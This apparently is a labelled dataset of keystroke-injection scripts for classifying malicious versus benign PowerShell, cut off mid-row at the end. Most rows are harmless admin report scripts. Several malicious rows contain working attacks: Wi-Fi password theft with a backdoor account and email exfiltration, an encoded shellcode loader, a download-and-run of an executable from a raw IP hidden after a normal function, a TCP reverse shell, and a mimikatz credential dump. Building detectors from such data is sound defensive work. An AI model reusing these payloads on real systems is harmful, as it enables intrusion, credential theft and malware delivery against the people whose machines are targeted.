"win+r powershell enter Describe ""Set-RsDatsSetReference"" { enter Context ""Set-RsDatsSetReference with minimun parameters""{ enter $folderName = 'SutSetRsDataSetReferenceMinParameters' + [guid]::NewGuid() enter New-RsFolder -Path / -FolderName $folderName enter $folderPath = '/' + $folderName enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsFolderContent -Path $localResourcesPath -RsFolder $folderPath enter $report = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'Report' enter $dataSet = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'DataSet' enter $reportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $reportDataSetReferencePath = $reportDataSetReference.Reference enter Set-RsDataSetReference -Path $report.path -DataSetName $reportDataSetReference.Name -DataSetPath $dataSet.path enter It ""Should set a RsDataSet reference"" { enter $newReportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $newReportDataSetReferencePath = $newReportDataSetReference.Reference enter $reportDataSetReferencePath | Should Not Be $newReportDataSetReferencePath enter $newReportDataSetReferencePath | Should Be $dataSet.Path enter } enter Remove-RsCatalogItem -RsFolder $folderPath -Confirm:$false enter } enter Context ""Set-RsDatsSetReference with Proxy Parameter""{ enter $folderName = 'SutSetRsDataSetReferenceMinParameters' + [guid]::NewGuid() enter New-RsFolder -Path / -FolderName $folderName enter $folderPath = '/' + $folderName enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsFolderContent -Path $localResourcesPath -RsFolder $folderPath enter $report = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'Report' enter $dataSet = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'DataSet' enter $reportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $reportDataSetReferencePath = $reportDataSetReference.Reference enter $proxy = New-RsWebServiceProxy enter Set-RsDataSetReference -Path $report.path -DataSetName $reportDataSetReference.Name -DataSetPath $dataSet.path -Proxy $proxy enter It ""Should set a RsDataSet reference"" { enter $newReportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $newReportDataSetReferencePath = $newReportDataSetReference.Reference enter $reportDataSetReferencePath | Should Not Be $newReportDataSetReferencePath enter $newReportDataSetReferencePath | Should Be $dataSet.Path enter } enter Remove-RsCatalogItem -RsFolder $folderPath -Confirm:$false enter } enter Context ""Set-RsDatsSetReference with Report Server Parameter""{ enter $folderName = 'SutSetRsDataSetReferenceMinParameters' + [guid]::NewGuid() enter New-RsFolder -Path / -FolderName $folderName enter $folderPath = '/' + $folderName enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsFolderContent -Path $localResourcesPath -RsFolder $folderPath enter $report = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'Report' enter $dataSet = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'DataSet' enter $reportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $reportServerUri = 'http://localhost/reportserver' enter $reportDataSetReferencePath = $reportDataSetReference.Reference enter Set-RsDataSetReference -Path $report.path -DataSetName $reportDataSetReference.Name -DataSetPath $dataSet.path -ReportServerUri $reportServerUri enter It ""Should set a RsDataSet referencee"" { enter $newReportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $newReportDataSetReferencePath = $newReportDataSetReference.Reference enter $reportDataSetReferencePath | Should Not Be $newReportDataSetReferencePath enter $newReportDataSetReferencePath | Should Be $dataSet.Path enter } enter Remove-RsCatalogItem -RsFolder $folderPath -Confirm:$false enter } enter Context ""Set-RsDatsSetReference with ReportServerUri and Proxy parameters""{ enter $folderName = 'SutSetRsDataSetReferenceMinParameters' + [guid]::NewGuid() enter New-RsFolder -Path / -FolderName $folderName enter $folderPath = '/' + $folderName enter $localResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResources' enter Write-RsFolderContent -Path $localResourcesPath -RsFolder $folderPath enter $report = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'Report' enter $dataSet = (Get-RsFolderContent -RsFolder $folderPath ) | Where-Object TypeName -eq 'DataSet' enter $reportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $reportServerUri = 'http://localhost/reportserver' enter $proxy = New-RsWebServiceProxy enter $reportDataSetReferencePath = $reportDataSetReference.Reference enter Set-RsDataSetReference -Path $report.path -DataSetName $reportDataSetReference.Name -DataSetPath $dataSet.path -ReportServerUri $reportServerUri -Proxy $proxy enter It ""Should set a RsDataSet reference"" { enter $newReportDataSetReference = Get-RsItemReference -Path $report.Path | Where-Object ReferenceType -eq 'DataSet' enter $newReportDataSetReferencePath = $newReportDataSetReference.Reference enter $reportDataSetReferencePath | Should Not Be $newReportDataSetReferencePath enter $newReportDataSetReferencePath | Should Be $dataSet.Path enter } enter Remove-RsCatalogItem -RsFolder $folderPath -Confirm:$false enter } enter } enter",0,0,0.99995136,4.8667964e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_j5prcgci"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4141245e-05
"win+r powershell enter delay_medium enter unknown_key_action WINDOWS d enter delay_short enter win+r enter delay_short enter powershell Start-Process powershell -Verb runAs enter delay_short enter enter enter delay_medium enter unknown_key_action ALT y enter delay_medium enter (netsh wlan show profiles) | Select-String ""\:(.+)$"" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=""$name"" key=clear)} | Select-String ""Key Content\W+\:(.+)$"" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize > C:\Information.txt enter enter enter delay_medium enter $command = {hostname; Get-NetIpaddress | Where PrefixOrigin -EQ DHCP; Invoke-RestMethod http://ipinfo.io/json | Select -exp ip} enter enter enter delay_short enter $command.InvokeReturnAsIs() | Out-File C:\Information.txt -Append enter enter enter delay_short enter NET USER Microsoft ""l33t"" /ADD enter enter enter delay_short enter New-SmbShare -Name ""Microsoft"" -Path ""C:\"" -FullAccess ""Microsoft"" enter enter enter delay_short enter delay_medium enter $SMTPServer = 'smtp.gmail.com' enter enter enter $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) enter enter enter $SMTPInfo.EnableSSL = $true enter enter enter $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('EMAILHERE', 'PASSWORDHERE!') enter enter enter $ReportEmail = New-Object System.Net.Mail.MailMessage enter enter enter $ReportEmail.From = 'EMAILHERE' enter enter enter $ReportEmail.To.Add('EMAILHERE') enter enter enter $ReportEmail.Subject = 'Hello from the duck' enter enter enter $ReportEmail.Body = (Get-Content C:\Information.txt | out-string) enter enter enter $SMTPInfo.Send($ReportEmail) enter enter enter delay_short enter del C:\Information.txt enter enter enter exit enter enter enter",1,1,5.6195528e-05,0.99994385
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_0fhbf24w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.426784e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_k16v8xyy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_150.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.452961e-05
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAJblSlcCA71W+2/aSBD+uZX6P1gVEkYlYBOSKpEi3Zp3gnkZ2wGKqsVew8La69hrXr3+7zcmkMe1uevdSbfCYr0zszvzzTc79pLAEZQH0rLZDXurgeFI3z68f9fDEfYlOcPdrpKXMvyiv720HVIa5969A3GGiKF0I8kTFIZV7mMaTK+vK0kUkUA8vhcaRKA4Jv6MURLLOel3yV6QiJx1Z0viCOmblPlaaDA+w+yotqtgZ0GkMxS4qazNHZw6VjBCRoWc/fIlm5ucqdNC7SHBLJazxi4WxC+4jGVz0vdceuBwFxI5q1Mn4jH3RMGmwXmpYAYx9kgHdlsTnYgFd+NsDoKAX0REEgVSGk5q/yiVszDtRdxBrhuRGJQLrWDNV0TOBAljeek3eXI8fJAEgvoE5IJEPDRItKYOiQtNHLiMDIg3lTtkc4r5V43kl0ag1RNRLg/J+NFLnbsJI4+G2dyPfh7yl4PxOocQ/fcP7z+8907Jf1jX6cu8w+zd5DAn4KPc4zE96N1IwAYdjsOCRzt4zQyjhOSm0iSFfjKdSpn9Q3TFA7txNZzH+bf3UU9GYOL3ul83o9WdCesTi1N3CnbHDGWS7r7Nrd19n4zDVP4246rEowGp7gLsU+dEKvlnCSAeI4fACye1DngoZ48C4lYJI3MsUkzz0uRHs5pPxZOtllDmkgg5kMQYvIL85l4785gmOdsKdOIDcI/vWUiKB1QmJ+0jfXen09N3UMpWGI7jvNRLoJacvGQQzIibl1AQ06MIJYIfptlnd/WECergWJy2m+b+jOfx3AoPYhElDuQUMBgaIXEoZikkealJXaLtDDo/nZ/9KSAVzBgN5rDTGhICKykQhkiZEoGrr1iRKxhEtPyQER90D0VeZ3gOJX2sjAPF8Jy42bc8PpXAI99TjE7gvPAXEm8wLvKSRSMBd0aK9xPV/ptPL66OV95VInLMm3yqsYm2E2llZDZ6t0fbxoHERwAPcEUCoKpH3NdwTC7LhogASPljsUsrCMaoFTDd0VZURRuqtnR4THre4tXP7t3tslmMqtuFh1pxS2/2qv1ms7y+NayyMGotcddrCb12v1waqDkwR2LcQs0hVVaj8j68pXujjdzRtni51/YbRdvul3PXG1U9b/7ZMwbqRZ227UpfU0q4Xa0lbVvbaEo5rtFNs0/N/uq2LmYji2HTK87v1StMt+1oaal85lsKaizOsX0RWo2F7u5GzeKVuS2pnaEJD66GNsFeUbVgPoe10sKp9RG67DlpuGvXV1f9Vb1jVBddq7E1Ouq45ii32/FQY65i9UZ7pPTtsDa0y1ti66WZ2SrPzJXSMcNIt1u7vjlXXbtWchsqm9XHbbIKY3zeaQ9qtYvOcFDGfr06s2Mx9MfV2dDdtC0WGMOBgfcdjPdWMrBcZdYcKaZa282swaBT6igmu9qjusatsu9t10WLOuMhRmhXbg3SmO5NdcwvVTPpFosW8/ndfYkifYMQJdqDVtcemiB3TUwWYGsecBjzdn80IqC/cDS1UrtSS2TRTgHAK40jDSaNOUI1hACfUVjvseKVDXbd2wvV5ShlRr1jY+3OpqRdVEf3yNU/tbVNs5rud2Etq/efFudFGG6jvhkZF8lsp4ZO5WLt+A5KihWVs/EDqveKav/m5mPKaSB1ZnOuvKDnW41Kx1G8wAxoCy3odLvUeVQ/tpMep6mFLD9/U6xIFBAGzRja9akeEWPcSRvboftAU31sdVO4YEyYnpd+OstJT4q55453Wrq+HoOrUNynaiu0STAXi7yyPVcUaF7KtqxAtL8eYoWHO/lpu3zaAFOYXh7BDkfk0mrPPCxn5v8A4fGiWcCf+3cQPq/9hfSXYFXyh9B/WH298I/g/Xfh25gKUDfgpmTksbn/HIUjZ158GqUJAjZ4x5F+mHYTcdaBL6Y/AFNu0WoMCwAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function jHOpPkRSc { enter Param ($odO0, $o5Qx6Wce2Z) enter $etT = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $etT.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($etT.GetMethod('GetModuleHandle')).Invoke($null, @($odO0)))), $o5Qx6Wce2Z)) enter } enter enter function qvFi { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $zqr9onWG9Tgs, enter [Parameter(Position = 1)] [Type] $mPO_wYkKU = [Void] enter ) enter enter $uOzLoVyXQeZp = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $uOzLoVyXQeZp.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $zqr9onWG9Tgs).SetImplementationFlags('Runtime, Managed') enter $uOzLoVyXQeZp.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $mPO_wYkKU, $zqr9onWG9Tgs).SetImplementationFlags('Runtime, Managed') enter enter return $uOzLoVyXQeZp.CreateType() enter } enter enter [Byte[]]$wMOPiLSp = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1obmV0AGh3aW5pVGhMdyYH/9Ux21NTU1NTaDpWeaf/1VNTagNTU2hcEQAA6PcAAAAvdm1kQkFNSDhOVGxSN1ZEc0JxZTBld0VPYzA0QWpETW4xeWM2bUI4bUk0NUprMWIyQUg1dWE2dG1lbFZLekpsa3NLREE5NTR4amFDbWstTmZDbTdwLVlnSTRSazNaazVuRVd0bHY0U1EybVRRN2N0Ul9zAFBoV4mfxv/VicZTaAAy4IRTU1NXU1Zo61UuO//VlmoKX2iAMwAAieBqBFBqH1ZodUaehv/VU1NTU1ZoLQYYe//VhcB1CE912ehLAAAAakBoABAAAGgAAEAAU2hYpFPl/9WTU1OJ51doACAAAFNWaBKWieL/1YXAdM+LBwHDhcB15VjDX+h3////dGFwYS5uby1pcC5vcmcAu/C1olZqAFP/1Q=="") enter enter $w30 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jHOpPkRSc kernel32.dll VirtualAlloc), (qvFi @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wMOPiLSp.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($wMOPiLSp, 0, $w30, $wMOPiLSp.length) enter enter $qjbU = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jHOpPkRSc kernel32.dll CreateThread), (qvFi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$w30,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((jHOpPkRSc kernel32.dll WaitForSingleObject), (qvFi @([IntPtr], [Int32]))).Invoke($qjbU,0xffffffff) | Out-Null enter enter",1,1,5.489142e-05,0.99994516
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_0zz6sd5p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4329787e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_mbe52990"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter",0,0,0.9999659,3.406956e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_o8kh7gb8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_stopped.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3610635e-05
"win+r enter powershell enter enter enter function Update-ServiceNowRequestItem { enter [System.Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidUsingConvertToSecureStringWithPlainText','')] enter [System.Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidGlobalVars','')] enter enter [OutputType([void],[System.Management.Automation.PSCustomObject])] enter [CmdletBinding(DefaultParameterSetName,SupportsShouldProcess=$true)] enter Param ( enter enter [Parameter(mandatory=$true)] enter [string]$SysId, enter [Parameter(mandatory=$true)] enter [hashtable]$Values, enter [Parameter(ParameterSetName='SpecifyConnectionFields', Mandatory=$True)] enter [ValidateNotNullOrEmpty()] enter [Alias('ServiceNowCredential')] enter [PSCredential]$Credential, enter [Parameter(ParameterSetName='SpecifyConnectionFields', Mandatory=$True)] enter [ValidateNotNullOrEmpty()] enter [string]$ServiceNowURL, enter [Parameter(ParameterSetName='UseConnectionObject', Mandatory=$True)] enter [ValidateNotNullOrEmpty()] enter [Hashtable]$Connection, enter [Parameter(Mandatory=$false)] enter [switch]$PassThru enter ) enter enter $updateServiceNowTableEntrySplat = @{ enter SysId = $SysId enter Table = 'sc_req_item' enter Values = $Values enter } enter If ($null -ne $PSBoundParameters.Connection) { enter $updateServiceNowTableEntrySplat.Add('Connection',$Connection) enter } enter ElseIf ($null -ne $PSBoundParameters.Credential -and $null -ne $PSBoundParameters.ServiceNowURL) { enter $updateServiceNowTableEntrySplat.Add('ServiceNowCredential',$ServiceNowCredential) enter $updateServiceNowTableEntrySplat.Add('ServiceNowURL',$ServiceNowURL) enter } enter enter If ($PSCmdlet.ShouldProcess(""$Table/$SysID"",$MyInvocation.MyCommand)) { enter enter $Result = Update-ServiceNowTableEntry @updateServiceNowTableEntrySplat enter If ($PSBoundParameters.ContainsKey('Passthru')) { enter $Result enter } enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.5970042e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_hjpwbsfd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4891338e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_qmbpqy20"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4135286e-05
"win+r enter powershell enter enter enter param( enter [string]$Version, enter [string]$Path, enter [switch]$Force, enter [switch]$Update, enter [switch]$Uninstall enter ) enter $Configs = @{ enter Url = ""http://psget.net/GetPsGet.ps1"" enter ConditionExclusion = ""(Get-Module -ListAvailable | where{`$_.Name -eq `""PsGet`""})"" enter } enter enter $Configs | ForEach-Object{ enter enter try{ enter enter $_.Result = $null enter if(-not $_.Path){$_.Path = $Path} enter $Config = $_ enter if(-not $Uninstall){ enter if($_.ConditionExclusion){ enter $_.ConditionExclusionResult = $(Invoke-Expression $Config.ConditionExclusion -ErrorAction SilentlyContinue) enter } enter if(($_.ConditionExclusionResult -eq $null) -or $Force){ enter $_.Url | ForEach-Object{ enter Invoke-Expression (new-object Net.WebClient).DownloadString($_) enter } enter if($Update){$_.Result = ""AppUpdated"";$_ enter }else{$_.Result = ""AppInstalled"";$_} enter }else{ enter enter $_.Result = ""ConditionExclusion"";$_ enter } enter }else{ enter enter $_.Result = ""AppUninstalled"";$_ enter } enter }catch{ enter enter $Config.Result = ""Error"";$Config enter } enter } enter enter",0,0,0.9999001,9.9879064e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_k84wz59h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.422515e-05
"win+r powershell enter powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sock enter ets.TCPClient(""10.0.0.1"",4242);$stream = $client.GetStream();[byte[]]$bytes = 0. enter .65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = enter (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendba enter ck = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ""PS "" + (pwd).Path enter + ""> "";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($ enter sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() enter",1,1,6.184415e-05,0.99993813
"win+r powershell enter $scriptFolder = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent . ($ enter scriptFolder + '.\SetupEnv.ps1') $packageFolder=""$env:AzurePSRoot\artifacts"" if enter (Test-Path $packageFolder) { Remove-Item -Path $packageFolder -Recurse -Force enter } $keyPath = ""HKLM:\SOFTWARE\Microsoft\Windows Installer XML"" if (${env:ADX64P enter latform}){ $keyPath = ""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows Installer X enter ML"" } enter enter",1,1,0.007750666,0.99224937
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_f6nlc9p1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.439132e-05
"win+r enter powershell enter enter enter $TargetApplication = ""C:\Program Files\Pulseway\pcmontask.exe"" enter $TargetArguments = "" support"" enter $ShortcutFile = ""$env:Public\Desktop\Get Support.lnk"" enter $WScriptShell = New-Object -ComObject WScript.Shell enter $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) enter $Shortcut.TargetPath = $TargetApplication enter $Shortcut.Arguments = $TargetArguments enter $Shortcut.Save() enter enter",0,1,0.3399153,0.6600847
"cmdctrl shift enter enter alt y enter enter cd %temp% enter enter erase /q duckywait.bat enter enter copy con duckywait.bat enter enter :while1 enter enter for /f %%d in ('wmic volume get driveletter^, label ^| findstr ""ducky""') do set myd=%%d enter enter if exist %myd% ( enter enter goto break enter enter ) enter enter timeout /t 30 enter enter goto while1 enter enter :break enter enter start %myd%\mimikatz.exe enter enter enter enter duckywait.bat enter enter enter enter privilege::debug enter enter log %myd%\output.log enter enter sekurlsa::logonpasswords full enter enter vault::cred enter enter alt f4 erase /q duckywait.bat enter enter alt f4",1,1,0.001369201,0.9986308
"win+r enter powershell enter enter enter function Test-SPOField enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [Microsoft.SharePoint.Client.List] $list, enter enter [Parameter(Mandatory=$true, Position=2)] enter [Microsoft.SharePoint.Client.FieldCollection] $fields, enter enter [Parameter(Mandatory=$true, Position=3)] enter [string] $fieldName enter ) enter enter $fieldNames = $fields.GetEnumerator() | select -ExpandProperty Title enter $exists = ($fieldNames -contains $fieldName) enter return $exists enter } enter enter",0,0,0.9998765,0.00012347968
"win+r enter powershell enter enter enter class ApprovalCommandConfiguration { enter [string]$Expression enter [System.Collections.ArrayList]$ApprovalGroups enter [bool]$PeerApproval enter enter ApprovalCommandConfiguration() { enter $this.Expression = [string]::Empty enter $this.ApprovalGroups = New-Object -TypeName System.Collections.ArrayList enter $this.PeerApproval = $true enter } enter enter [hashtable]ToHash() { enter return @{ enter Expression = $this.Expression enter Groups = $this.ApprovalGroups enter PeerApproval = $this.PeerApproval enter } enter } enter enter static [ApprovalCommandConfiguration] Serialize([PSObject]$DeserializedObject) { enter $acc = [ApprovalCommandConfiguration]::new() enter $acc.Expression = $DeserializedObject.Expression enter $acc.ApprovalGroups = $DeserializedObject.ApprovalGroups enter $acc.PeerApproval = $DeserializedObject.PeerApproval enter enter return $acc enter } enter } enter enter (New-Object 